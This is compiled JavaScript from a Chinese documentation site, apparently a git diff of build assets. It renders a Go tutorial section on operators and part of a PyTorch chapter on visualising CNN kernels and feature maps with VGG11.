",(0,s.jsx)(n.code,{children:"++"}),"\uff08\u81ea\u589e\uff09\u548c",(0,s.jsx)(n.code,{children:"--"}),"\uff08\u81ea\u51cf\uff09\u5728Go\u8bed\u8a00\u4e2d\u662f\u5355\u72ec\u7684\u8bed\u53e5\uff0c\u5e76\u4e0d\u662f\u8fd0\u7b97\u7b26\u3002"]}),"\n",(0,s.jsx)(n.h2,{id:"\u5173\u7cfb\u8fd0\u7b97\u7b26",children:"\u5173\u7cfb\u8fd0\u7b97\u7b26"}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,s.jsxs)(n.table,{children:[(0,s.jsx)(n.thead,{children:(0,s.jsxs)(n.tr,{children:[(0,s.jsx)(n.th,{style:{textAlign:"center"},children:"\u8fd0\u7b97\u7b26"}),(0,s.jsx)(n.th,{style:{textAlign:"center"},children:"\u63cf\u8ff0"})]})}),(0,s.jsxs)(n.tbody,{children:[(0,s.jsxs)(n.tr,{children:[(0,s.jsx)(n.td,{style:{textAlign:"center"},children:"=="}),(0,s.jsx)(n.td,{style:{textAlign:"center"},children:"\u68c0\u67e5\u4e24\u4e2a\u503c\u662f\u5426\u76f8\u7b49\uff0c\u5982\u679c\u76f8\u7b49\u8fd4\u56de True \u5426\u5219\u8fd4\u56de False\u3002"})]}),(0,s.jsxs)(n.tr,{children:[(0,s.jsx)(n.td,{style:{textAlign:"center"},children:"!="}),(0,s.jsx)(n.td,{style:{textAlign:"center"},children:"\u68c0\u67e5\u4e24\u4e2a\u503c\u662f\u5426\u4e0d\u76f8\u7b49\uff0c\u5982\u679c\u4e0d\u76f8\u7b49\u8fd4\u56de True \u5426\u5219\u8fd4\u56de False\u3002"})]}),(0,s.jsxs)(n.tr,{children:[(0,s.jsx)(n.td,{style:{textAlign:"center"},children:">"}),(0,s.jsx)(n.td,{style:{textAlign:"center"},children:"\u68c0\u67e5\u5de6\u8fb9\u503c\u662f\u5426\u5927\u4e8e\u53f3\u8fb9\u503c\uff0c\u5982\u679c\u662f\u8fd4\u56de True \u5426\u5219\u8fd4\u56de False\u3002"})]}),(0,s.jsxs)(n.tr,{children:[(0,s.jsx)(n.td,{style:{textAlign:"center"},children:">="}),(0,s.jsx)(n.td,{style:{textAlign:"center"},children:"\u68c0\u67e5\u5de6\u8fb9\u503c\u662f\u5426\u5927\u4e8e\u7b49\u4e8e\u53f3\u8fb9\u503c\uff0c\u5982\u679c\u662f\u8fd4\u56de True \u5426\u5219\u8fd4\u56de False\u3002"})]}),(0,s.jsxs)(n.tr,{children:[(0,s.jsx)(n.td,{style:{textAlign:"center"},children:(0,s.jsx)(n.code,{children:"<"})}),(0,s.jsx)(n.td,{style:{textAlign:"center"},children:"\u68c0\u67e5\u5de6\u8fb9\u503c\u662f\u5426\u5c0f\u4e8e\u53f3\u8fb9\u503c\uff0c\u5982\u679c\u662f\u8fd4\u56de True \u5426\u5219\u8fd4\u56de False\u3002"})]}),(0,s.jsxs)(n.tr,{children:[(0,s.jsx)(n.td,{style:{textAlign:"center"},children:(0,s.jsx)(n.code,{children:"<="})}),(0,s.jsx)(n.td,{style:{textAlign:"center"},children:"\u68c0\u67e5\u5de6\u8fb9\u503c\u662f\u5426\u5c0f\u4e8e\u7b49\u4e8e\u53f3\u8fb9\u503c\uff0c\u5982\u679c\u662f\u8fd4\u56de True \u5426\u5219\u8fd4\u56de False\u3002"})]})]})]}),"\n",(0,s.jsx)(n.h2,{id:"\u903b\u8f91\u8fd0\u7b97\u7b26",children:"\u903b\u8f91\u8fd0\u7b97\u7b26"}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,s.jsxs)(n.table,{children:[(0,s.jsx)(n.thead,{children:(0,s.jsxs)(n.tr,{children:[(0,s.jsx)(n.th,{style:{textAlign:"center"},children:"\u8fd0\u7b97\u7b26"}),(0,s.jsx)(n.th,{style:{textAlign:"center"},children:"\u63cf\u8ff0"})]})}),(0,s.jsxs)(n.tbody,{children:[(0,s.jsxs)(n.tr,{children:[(0,s.jsx)(n.td,{style:{textAlign:"center"},children:"&&"}),(0,s.jsx)(n.td,{style:{textAlign:"center"},children:"\u903b\u8f91 AND \u8fd0\u7b97\u7b26\u3002 \u5982\u679c\u4e24\u8fb9\u7684\u64cd\u4f5c\u6570\u90fd\u662f True\uff0c\u5219\u4e3a True\uff0c\u5426\u5219\u4e3a False\u3002"})]}),(0,s.jsxs)(n.tr,{children:[(0,s.jsx)(n.td,{style:{textAlign:"center"},children:"||"}),(0,s.jsx)(n.td,{style:{textAlign:"center"},children:"\u903b\u8f91 OR \u8fd0\u7b97\u7b26\u3002 \u5982\u679c\u4e24\u8fb9\u7684\u64cd\u4f5c\u6570\u6709\u4e00\u4e2a True\uff0c\u5219\u4e3a True\uff0c\u5426\u5219\u4e3a False\u3002"})]}),(0,s.jsxs)(n.tr,{children:[(0,s.jsx)(n.td,{style:{textAlign:"center"},children:"!"}),(0,s.jsx)(n.td,{style:{textAlign:"center"},children:"\u903b\u8f91 NOT \u8fd0\u7b97\u7b26\u3002 \u5982\u679c\u6761\u4ef6\u4e3a True\uff0c\u5219\u4e3a False\uff0c\u5426\u5219\u4e3a True\u3002"})]})]})]}),"\n",(0,s.jsx)(n.h2,{id:"\u4f4d\u8fd0\u7b97\u7b26",children:"\u4f4d\u8fd0\u7b97\u7b26"}),"\n",(0,s.jsx)(n.p,{children:"\u4f4d\u8fd0\u7b97\u7b26\u5bf9\u6574\u6570\u5728\u5185\u5b58\u4e2d\u7684\u4e8c\u8fdb\u5236\u4f4d\u8fdb\u884c\u64cd\u4f5c\u3002"}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,s.jsxs)(n.table,{children:[(0,s.jsx)(n.thead,{children:(0,s.jsxs)(n.tr,{children:[(0,s.jsx)(n.th,{style:{textAlign:"center"},children:"\u8fd0\u7b97\u7b26"}),(0,s.jsx)(n.th,{style:{textAlign:"center"},children:"\u63cf\u8ff0"})]})}),(0,s.jsxs)(n.tbody,{children:[(0,s.jsxs)(n.tr,{children:[(0,s.jsx)(n.td,{style:{textAlign:"center"},children:"&"}),(0,s.jsx)(n.td,{style:{textAlign:"center"},children:"\u53c2\u4e0e\u8fd0\u7b97\u7684\u4e24\u6570\u5404\u5bf9\u5e94\u7684\u4e8c\u8fdb\u4f4d\u76f8\u4e0e\u3002 \uff08\u4e24\u4f4d\u5747\u4e3a1\u624d\u4e3a1\uff09"})]}),(0,s.jsxs)(n.tr,{children:[(0,s.jsx)(n.td,{style:{textAlign:"center"},children:"|"}),(0,s.jsx)(n.td,{style:{textAlign:"center"},children:"\u53c2\u4e0e\u8fd0\u7b97\u7684\u4e24\u6570\u5404\u5bf9\u5e94\u7684\u4e8c\u8fdb\u4f4d\u76f8\u6216\u3002 \uff08\u4e24\u4f4d\u6709\u4e00\u4e2a\u4e3a1\u5c31\u4e3a1\uff09"})]}),(0,s.jsxs)(n.tr,{children:[(0,s.jsx)(n.td,{style:{textAlign:"center"},children:"^"}),(0,s.jsx)(n.td,{style:{textAlign:"center"},children:"\u53c2\u4e0e\u8fd0\u7b97\u7684\u4e24\u6570\u5404\u5bf9\u5e94\u7684\u4e8c\u8fdb\u4f4d\u76f8\u5f02\u6216\uff0c\u5f53\u4e24\u5bf9\u5e94\u7684\u4e8c\u8fdb\u4f4d\u76f8\u5f02\u65f6\uff0c\u7ed3\u679c\u4e3a1\u3002 \uff08\u4e24\u4f4d\u4e0d\u4e00\u6837\u5219\u4e3a1\uff09"})]}),(0,s.jsxs)(n.tr,{children:[(0,s.jsx)(n.td,{style:{textAlign:"center"},children:(0,s.jsx)(n.code,{children:"<<"})}),(0,s.jsxs)(n.td,{style:{textAlign:"center"},children:["\u5de6\u79fbn\u4f4d\u5c31\u662f\u4e58\u4ee52\u7684n\u6b21\u65b9\u3002 ",(0,s.jsx)(n.code,{children:"a<>"}),(0,s.jsx)(n.td,{style:{textAlign:"center"},children:"\u53f3\u79fbn\u4f4d\u5c31\u662f\u9664\u4ee52\u7684n\u6b21\u65b9\u3002 \u201ca>>b\u201d\u662f\u628aa\u7684\u5404\u4e8c\u8fdb\u4f4d\u5168\u90e8\u53f3\u79fbb\u4f4d\u3002"})]})]})]}),"\n",(0,s.jsx)(n.h2,{id:"\u8d4b\u503c\u8fd0\u7b97\u7b26",children:"\u8d4b\u503c\u8fd0\u7b97\u7b26"}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,s.jsxs)(n.table,{children:[(0,s.jsx)(n.thead,{children:(0,s.jsxs)(n.tr,{children:[(0,s.jsx)(n.th,{style:{textAlign:"center"},children:"\u8fd0\u7b97\u7b26"}),(0,s.jsx)(n.th,{style:{textAlign:"center"},children:"\u63cf\u8ff0"})]})}),(0,s.jsxs)(n.tbody,{children:[(0,s.jsxs)(n.tr,{children:[(0,s.jsx)(n.td,{style:{textAlign:"center"},children:"="}),(0,s.jsx)(n.td,{style:{textAlign:"center"},children:"\u7b80\u5355\u7684\u8d4b\u503c\u8fd0\u7b97\u7b26\uff0c\u5c06\u4e00\u4e2a\u8868\u8fbe\u5f0f\u7684\u503c\u8d4b\u7ed9\u4e00\u4e2a\u5de6\u503c"})]}),(0,s.jsxs)(n.tr,{children:[(0,s.jsx)(n.td,{style:{textAlign:"center"},children:"+="}),(0,s.jsx)(n.td,{style:{textAlign:"center"},children:"\u76f8\u52a0\u540e\u518d\u8d4b\u503c"})]}),(0,s.jsxs)(n.tr,{children:[(0,s.jsx)(n.td,{style:{textAlign:"center"},children:"-="}),(0,s.jsx)(n.td,{style:{textAlign:"center"},children:"\u76f8\u51cf\u540e\u518d\u8d4b\u503c"})]}),(0,s.jsxs)(n.tr,{children:[(0,s.jsx)(n.td,{style:{textAlign:"center"},children:"*="}),(0,s.jsx)(n.td,{style:{textAlign:"center"},children:"\u76f8\u4e58\u540e\u518d\u8d4b\u503c"})]}),(0,s.jsxs)(n.tr,{children:[(0,s.jsx)(n.td,{style:{textAlign:"center"},children:"/="}),(0,s.jsx)(n.td,{style:{textAlign:"center"},children:"\u76f8\u9664\u540e\u518d\u8d4b\u503c"})]}),(0,s.jsxs)(n.tr,{children:[(0,s.jsx)(n.td,{style:{textAlign:"center"},children:"%="}),(0,s.jsx)(n.td,{style:{textAlign:"center"},children:"\u6c42\u4f59\u540e\u518d\u8d4b\u503c"})]}),(0,s.jsxs)(n.tr,{children:[(0,s.jsx)(n.td,{style:{textAlign:"center"},children:(0,s.jsx)(n.code,{children:"<<="})}),(0,s.jsx)(n.td,{style:{textAlign:"center"},children:"\u5de6\u79fb\u540e\u8d4b\u503c"})]}),(0,s.jsxs)(n.tr,{children:[(0,s.jsx)(n.td,{style:{textAlign:"center"},children:(0,s.jsx)(n.code,{children:">>="})}),(0,s.jsx)(n.td,{style:{textAlign:"center"},children:"\u53f3\u79fb\u540e\u8d4b\u503c"})]}),(0,s.jsxs)(n.tr,{children:[(0,s.jsx)(n.td,{style:{textAlign:"center"},children:"&="}),(0,s.jsx)(n.td,{style:{textAlign:"center"},children:"\u6309\u4f4d\u4e0e\u540e\u8d4b\u503c"})]}),(0,s.jsxs)(n.tr,{children:[(0,s.jsx)(n.td,{style:{textAlign:"center"},children:"|="}),(0,s.jsx)(n.td,{style:{textAlign:"center"},children:"\u6309\u4f4d\u6216\u540e\u8d4b\u503c"})]}),(0,s.jsxs)(n.tr,{children:[(0,s.jsx)(n.td,{style:{textAlign:"center"},children:"^="}),(0,s.jsx)(n.td,{style:{textAlign:"center"},children:"\u6309\u4f4d\u5f02\u6216\u540e\u8d4b\u503c"})]})]})]})]})}function j(e={}){const{wrapper:n}={...(0,r.R)(),...e.components};return n?(0,s.jsx)(n,{...e,children:(0,s.jsx)(h,{...e})}):h(e)}},28453:(e,n,t)=>{t.d(n,{R:()=>i,x:()=>d});var l=t(96540);const s={},r=l.createContext(s);function i(e){const n=l.useContext(r);return l.useMemo(function(){return"function"==typeof e?e(n):{...n,...e}},[n,e])}function d(e){let n;return n=e.disableParentContext?"function"==typeof e.components?e.components(s):e.components||s:i(e.components),l.createElement(r.Provider,{value:n},e.children)}}}]); \ No newline at end of file diff --git a/assets/js/897488f4.7b87abf7.js b/assets/js/897488f4.7b87abf7.js new file mode 100644 index 0000000..462d8e5 --- /dev/null +++ b/assets/js/897488f4.7b87abf7.js @@ -0,0 +1 @@ +"use strict";(globalThis.webpackChunkblog=globalThis.webpackChunkblog||[]).push([[2297],{15159:(A,e,n)=>{n.r(e),n.d(e,{assets:()=>l,contentTitle:()=>r,default:()=>d,frontMatter:()=>s,metadata:()=>t,toc:()=>o});const t=JSON.parse('{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e03\u7ae0/7.2 CNN\u5377\u79ef\u5c42\u53ef\u89c6\u5316","title":"7.2 CNN\u5377\u79ef\u5c42\u53ef\u89c6\u5316.md","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","source":"@site/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch/07.\u7b2c\u4e03\u7ae0/7.2 CNN\u5377\u79ef\u5c42\u53ef\u89c6\u5316.md","sourceDirName":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch/07.\u7b2c\u4e03\u7ae0","slug":"/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e03\u7ae0/7.2 CNN\u5377\u79ef\u5c42\u53ef\u89c6\u5316","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e03\u7ae0/7.2 CNN\u5377\u79ef\u5c42\u53ef\u89c6\u5316","draft":false,"unlisted":false,"editUrl":"https://github.com/facebook/docusaurus/tree/main/packages/create-docusaurus/templates/shared/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch/07.\u7b2c\u4e03\u7ae0/7.2 CNN\u5377\u79ef\u5c42\u53ef\u89c6\u5316.md","tags":[],"version":"current","frontMatter":{},"sidebar":"tutorialSidebar","previous":{"title":"7.1 \u53ef\u89c6\u5316\u7f51\u7edc\u7ed3\u6784.md","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e03\u7ae0/7.1 \u53ef\u89c6\u5316\u7f51\u7edc\u7ed3\u6784"},"next":{"title":"7.3 \u4f7f\u7528TensorBoard\u53ef\u89c6\u5316\u8bad\u7ec3\u8fc7\u7a0b.md","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e03\u7ae0/7.3 \u4f7f\u7528TensorBoard\u53ef\u89c6\u5316\u8bad\u7ec3\u8fc7\u7a0b"}}');var a=n(74848),i=n(28453);const s={},r="7.2 CNN\u5377\u79ef\u5c42\u53ef\u89c6\u5316.md",l={},o=[{value:"7.2.1 CNN\u5377\u79ef\u6838\u53ef\u89c6\u5316",id:"721-cnn\u5377\u79ef\u6838\u53ef\u89c6\u5316",level:2},{value:"7.2.2 CNN\u7279\u5f81\u56fe\u53ef\u89c6\u5316\u65b9\u6cd5",id:"722-cnn\u7279\u5f81\u56fe\u53ef\u89c6\u5316\u65b9\u6cd5",level:2},{value:"7.2.3 CNN class activation map\u53ef\u89c6\u5316\u65b9\u6cd5",id:"723-cnn-class-activation-map\u53ef\u89c6\u5316\u65b9\u6cd5",level:2},{value:"7.2.4 \u4f7f\u7528FlashTorch\u5feb\u901f\u5b9e\u73b0CNN\u53ef\u89c6\u5316",id:"724-\u4f7f\u7528flashtorch\u5feb\u901f\u5b9e\u73b0cnn\u53ef\u89c6\u5316",level:2},{value:"\u53c2\u8003\u8d44\u6599",id:"\u53c2\u8003\u8d44\u6599",level:2}];function g(A){const e={a:"a",code:"code",h1:"h1",h2:"h2",header:"header",img:"img",li:"li",ol:"ol",p:"p",pre:"pre",table:"table",tbody:"tbody",td:"td",th:"th",thead:"thead",tr:"tr",ul:"ul",...(0,i.R)(),...A.components};return(0,a.jsxs)(a.Fragment,{children:[(0,a.jsx)(e.header,{children:(0,a.jsx)(e.h1,{id:"72-cnn\u5377\u79ef\u5c42\u53ef\u89c6\u5316md",children:"7.2 CNN\u5377\u79ef\u5c42\u53ef\u89c6\u5316.md"})}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,a.jsxs)(e.table,{children:[(0,a.jsx)(e.thead,{children:(0,a.jsxs)(e.tr,{children:[(0,a.jsx)(e.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,a.jsx)(e.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,a.jsx)(e.tbody,{children:(0,a.jsxs)(e.tr,{children:[(0,a.jsx)(e.td,{style:{textAlign:"left"},children:(0,a.jsx)(e.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,a.jsx)(e.td,{style:{textAlign:"left"},children:"2026-06-07 20:53:26"})]})})]}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,a.jsxs)(e.table,{children:[(0,a.jsx)(e.thead,{children:(0,a.jsxs)(e.tr,{children:[(0,a.jsx)(e.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,a.jsx)(e.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,a.jsx)(e.tbody,{children:(0,a.jsxs)(e.tr,{children:[(0,a.jsx)(e.td,{style:{textAlign:"left"},children:(0,a.jsx)(e.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,a.jsx)(e.td,{style:{textAlign:"left"},children:"2025-10-31 15:44:29"})]})})]}),"\n",(0,a.jsx)(e.h1,{id:"72-cnn\u53ef\u89c6\u5316",children:"7.2 CNN\u53ef\u89c6\u5316"}),"\n",(0,a.jsx)(e.p,{children:"\u5377\u79ef\u795e\u7ecf\u7f51\u7edc\uff08CNN\uff09\u662f\u6df1\u5ea6\u5b66\u4e60\u4e2d\u975e\u5e38\u91cd\u8981\u7684\u6a21\u578b\u7ed3\u6784\uff0c\u5b83\u5e7f\u6cdb\u5730\u7528\u4e8e\u56fe\u50cf\u5904\u7406\uff0c\u6781\u5927\u5730\u63d0\u5347\u4e86\u6a21\u578b\u8868\u73b0\uff0c\u63a8\u52a8\u4e86\u8ba1\u7b97\u673a\u89c6\u89c9\u7684\u53d1\u5c55\u548c\u8fdb\u6b65\u3002\u4f46CNN\u662f\u4e00\u4e2a\u201c\u9ed1\u76d2\u6a21\u578b\u201d\uff0c\u4eba\u4eec\u5e76\u4e0d\u77e5\u9053CNN\u662f\u5982\u4f55\u83b7\u5f97\u8f83\u597d\u8868\u73b0\u7684\uff0c\u7531\u6b64\u5e26\u6765\u4e86\u6df1\u5ea6\u5b66\u4e60\u7684\u53ef\u89e3\u91ca\u6027\u95ee\u9898\u3002\u5982\u679c\u80fd\u7406\u89e3CNN\u5de5\u4f5c\u7684\u65b9\u5f0f\uff0c\u4eba\u4eec\u4e0d\u4ec5\u80fd\u591f\u89e3\u91ca\u6240\u83b7\u5f97\u7684\u7ed3\u679c\uff0c\u63d0\u5347\u6a21\u578b\u7684\u9c81\u68d2\u6027\uff0c\u800c\u4e14\u8fd8\u80fd\u6709\u9488\u5bf9\u6027\u5730\u6539\u8fdbCNN\u7684\u7ed3\u6784\u4ee5\u83b7\u5f97\u8fdb\u4e00\u6b65\u7684\u6548\u679c\u63d0\u5347\u3002"}),"\n",(0,a.jsx)(e.p,{children:"\u7406\u89e3CNN\u7684\u91cd\u8981\u4e00\u6b65\u662f\u53ef\u89c6\u5316\uff0c\u5305\u62ec\u53ef\u89c6\u5316\u7279\u5f81\u662f\u5982\u4f55\u63d0\u53d6\u7684\u3001\u63d0\u53d6\u5230\u7684\u7279\u5f81\u7684\u5f62\u5f0f\u4ee5\u53ca\u6a21\u578b\u5728\u8f93\u5165\u6570\u636e\u4e0a\u7684\u5173\u6ce8\u70b9\u7b49\u3002\u672c\u8282\u6211\u4eec\u5c31\u4ece\u4e0a\u8ff0\u4e09\u4e2a\u65b9\u9762\u51fa\u53d1\uff0c\u4ecb\u7ecd\u5982\u4f55\u5728PyTorch\u7684\u6846\u67b6\u4e0b\u5b8c\u6210CNN\u6a21\u578b\u7684\u53ef\u89c6\u5316\u3002"}),"\n",(0,a.jsx)(e.p,{children:"\u7ecf\u8fc7\u672c\u8282\u7684\u5b66\u4e60\uff0c\u4f60\u5c06\u6536\u83b7\uff1a"}),"\n",(0,a.jsxs)(e.ul,{children:["\n",(0,a.jsx)(e.li,{children:"\u53ef\u89c6\u5316CNN\u5377\u79ef\u6838\u7684\u65b9\u6cd5"}),"\n",(0,a.jsx)(e.li,{children:"\u53ef\u89c6\u5316CNN\u7279\u5f81\u56fe\u7684\u65b9\u6cd5"}),"\n",(0,a.jsx)(e.li,{children:"\u53ef\u89c6\u5316CNN\u663e\u8457\u56fe\uff08class activation map\uff09\u7684\u65b9\u6cd5"}),"\n"]}),"\n",(0,a.jsx)(e.h2,{id:"721-cnn\u5377\u79ef\u6838\u53ef\u89c6\u5316",children:"7.2.1 CNN\u5377\u79ef\u6838\u53ef\u89c6\u5316"}),"\n",(0,a.jsxs)(e.p,{children:["\u5377\u79ef\u6838\u5728CNN\u4e2d\u8d1f\u8d23\u63d0\u53d6\u7279\u5f81\uff0c\u53ef\u89c6\u5316\u5377\u79ef\u6838\u80fd\u591f\u5e2e\u52a9\u4eba\u4eec\u7406\u89e3CNN\u5404\u4e2a\u5c42\u5728\u63d0\u53d6\u4ec0\u4e48\u6837\u7684\u7279\u5f81\uff0c\u8fdb\u800c\u7406\u89e3\u6a21\u578b\u7684\u5de5\u4f5c\u539f\u7406\u3002\u4f8b\u5982\u5728Zeiler\u548cFergus 2013\u5e74\u7684",(0,a.jsx)(e.a,{href:"https://arxiv.org/pdf/1311.2901.pdf",children:"paper"}),"\u4e2d\u5c31\u7814\u7a76\u4e86CNN\u5404\u4e2a\u5c42\u7684\u5377\u79ef\u6838\u7684\u4e0d\u540c\uff0c\u4ed6\u4eec\u53d1\u73b0\u9760\u8fd1\u8f93\u5165\u7684\u5c42\u63d0\u53d6\u7684\u7279\u5f81\u662f\u76f8\u5bf9\u7b80\u5355\u7684\u7ed3\u6784\uff0c\u800c\u9760\u8fd1\u8f93\u51fa\u7684\u5c42\u63d0\u53d6\u7684\u7279\u5f81\u5c31\u548c\u56fe\u4e2d\u7684\u5b9e\u4f53\u5f62\u72b6\u76f8\u8fd1\u4e86\uff0c\u5982\u4e0b\u56fe\u6240\u793a\uff1a"]}),"\n",(0,a.jsx)(e.p,{children:(0,a.jsx)(e.img,{alt:"layer2",src:n(68512).A+"",width:"1888",height:"922"})}),"\n",(0,a.jsx)(e.p,{children:(0,a.jsx)(e.img,{alt:"layer3",src:n(23337).A+"",width:"2294",height:"848"})}),"\n",(0,a.jsx)(e.p,{children:(0,a.jsx)(e.img,{alt:"layer4",src:n(23510).A+"",width:"469",height:"587"})}),"\n",(0,a.jsx)(e.p,{children:"\u5728PyTorch\u4e2d\u53ef\u89c6\u5316\u5377\u79ef\u6838\u4e5f\u975e\u5e38\u65b9\u4fbf\uff0c\u6838\u5fc3\u5728\u4e8e\u7279\u5b9a\u5c42\u7684\u5377\u79ef\u6838\u5373\u7279\u5b9a\u5c42\u7684\u6a21\u578b\u6743\u91cd\uff0c\u53ef\u89c6\u5316\u5377\u79ef\u6838\u5c31\u7b49\u4ef7\u4e8e\u53ef\u89c6\u5316\u5bf9\u5e94\u7684\u6743\u91cd\u77e9\u9635\u3002\u4e0b\u9762\u7ed9\u51fa\u5728PyTorch\u4e2d\u53ef\u89c6\u5316\u5377\u79ef\u6838\u7684\u5b9e\u73b0\u65b9\u6848\uff0c\u4ee5torchvision\u81ea\u5e26\u7684VGG11\u6a21\u578b\u4e3a\u4f8b\u3002"}),"\n",(0,a.jsx)(e.p,{children:"\u9996\u5148\u52a0\u8f7d\u6a21\u578b\uff0c\u5e76\u786e\u5b9a\u6a21\u578b\u7684\u5c42\u4fe1\u606f\uff1a"}),"\n",(0,a.jsx)(e.pre,{children:(0,a.jsx)(e.code,{className:"language-python",children:"import torch\nfrom torchvision.models import vgg11\n\nmodel = vgg11(pretrained=True)\nprint(dict(model.features.named_children()))\n"})}),"\n",(0,a.jsx)(e.pre,{children:(0,a.jsx)(e.code,{className:"language-python",children:"{'0': Conv2d(3, 64, kernel_size=(3, 3), stride=(1, 1), padding=(1, 1)),\n '1': ReLU(inplace=True),\n '2': MaxPool2d(kernel_size=2, stride=2, padding=0, dilation=1, ceil_mode=False),\n '3': Conv2d(64, 128, kernel_size=(3, 3), stride=(1, 1), padding=(1, 1)),\n '4': ReLU(inplace=True),\n '5': MaxPool2d(kernel_size=2, stride=2, padding=0, dilation=1, ceil_mode=False),\n '6': Conv2d(128, 256, kernel_size=(3, 3), stride=(1, 1), padding=(1, 1)),\n '7': ReLU(inplace=True),\n '8': Conv2d(256, 256, kernel_size=(3, 3), stride=(1, 1), padding=(1, 1)),\n '9': ReLU(inplace=True),\n '10': MaxPool2d(kernel_size=2, stride=2, padding=0, dilation=1, ceil_mode=False),\n '11': Conv2d(256, 512, kernel_size=(3, 3), stride=(1, 1), padding=(1, 1)),\n '12': ReLU(inplace=True),\n '13': Conv2d(512, 512, kernel_size=(3, 3), stride=(1, 1), padding=(1, 1)),\n '14': ReLU(inplace=True),\n '15': MaxPool2d(kernel_size=2, stride=2, padding=0, dilation=1, ceil_mode=False),\n '16': Conv2d(512, 512, kernel_size=(3, 3), stride=(1, 1), padding=(1, 1)),\n '17': ReLU(inplace=True),\n '18': Conv2d(512, 512, kernel_size=(3, 3), stride=(1, 1), padding=(1, 1)),\n '19': ReLU(inplace=True),\n '20': MaxPool2d(kernel_size=2, stride=2, padding=0, dilation=1, ceil_mode=False)}\n"})}),"\n",(0,a.jsx)(e.p,{children:"\u5377\u79ef\u6838\u5bf9\u5e94\u7684\u5e94\u4e3a\u5377\u79ef\u5c42\uff08Conv2d\uff09\uff0c\u8fd9\u91cc\u4ee5\u7b2c\u201c3\u201d\u5c42\u4e3a\u4f8b\uff0c\u53ef\u89c6\u5316\u5bf9\u5e94\u7684\u53c2\u6570\uff1a"}),"\n",(0,a.jsx)(e.pre,{children:(0,a.jsx)(e.code,{className:"language-python",children:"conv1 = dict(model.features.named_children())['3']\nkernel_set = conv1.weight.detach()\nnum = len(conv1.weight.detach())\nprint(kernel_set.shape)\nfor i in range(0,num):\n i_kernel = kernel_set[i]\n plt.figure(figsize=(20, 17))\n if (len(i_kernel)) > 1:\n for idx, filer in enumerate(i_kernel):\n plt.subplot(9, 9, idx+1) \n plt.axis('off')\n plt.imshow(filer[ :, :].detach(),cmap='bwr')\n"})}),"\n",(0,a.jsx)(e.pre,{children:(0,a.jsx)(e.code,{children:"torch.Size([128, 64, 3, 3])\n"})}),"\n",(0,a.jsx)(e.p,{children:"\u7531\u4e8e\u7b2c\u201c3\u201d\u5c42\u7684\u7279\u5f81\u56fe\u753164\u7ef4\u53d8\u4e3a128\u7ef4\uff0c\u56e0\u6b64\u5171\u6709128*64\u4e2a\u5377\u79ef\u6838\uff0c\u5176\u4e2d\u90e8\u5206\u5377\u79ef\u6838\u53ef\u89c6\u5316\u6548\u679c\u5982\u4e0b\u56fe\u6240\u793a\uff1a"}),"\n",(0,a.jsx)(e.p,{children:(0,a.jsx)(e.img,{alt:"kernel",src:n(87343).A+"",width:"1121",height:"837"})}),"\n",(0,a.jsx)(e.h2,{id:"722-cnn\u7279\u5f81\u56fe\u53ef\u89c6\u5316\u65b9\u6cd5",children:"7.2.2 CNN\u7279\u5f81\u56fe\u53ef\u89c6\u5316\u65b9\u6cd5"}),"\n",(0,a.jsx)(e.p,{children:"\u4e0e\u5377\u79ef\u6838\u76f8\u5bf9\u5e94\uff0c\u8f93\u5165\u7684\u539f\u59cb\u56fe\u50cf\u7ecf\u8fc7\u6bcf\u6b21\u5377\u79ef\u5c42\u5f97\u5230\u7684\u6570\u636e\u79f0\u4e3a\u7279\u5f81\u56fe\uff0c\u53ef\u89c6\u5316\u5377\u79ef\u6838\u662f\u4e3a\u4e86\u770b\u6a21\u578b\u63d0\u53d6\u54ea\u4e9b\u7279\u5f81\uff0c\u53ef\u89c6\u5316\u7279\u5f81\u56fe\u5219\u662f\u4e3a\u4e86\u770b\u6a21\u578b\u63d0\u53d6\u5230\u7684\u7279\u5f81\u662f\u4ec0\u4e48\u6837\u5b50\u7684\u3002"}),"\n",(0,a.jsx)(e.p,{children:"\u83b7\u53d6\u7279\u5f81\u56fe\u7684\u65b9\u6cd5\u6709\u5f88\u591a\u79cd\uff0c\u53ef\u4ee5\u4ece\u8f93\u5165\u5f00\u59cb\uff0c\u9010\u5c42\u505a\u524d\u5411\u4f20\u64ad\uff0c\u76f4\u5230\u60f3\u8981\u7684\u7279\u5f81\u56fe\u5904\u5c06\u5176\u8fd4\u56de\u3002\u5c3d\u7ba1\u8fd9\u79cd\u65b9\u6cd5\u53ef\u884c\uff0c\u4f46\u662f\u6709\u4e9b\u9ebb\u70e6\u4e86\u3002\u5728PyTorch\u4e2d\uff0c\u63d0\u4f9b\u4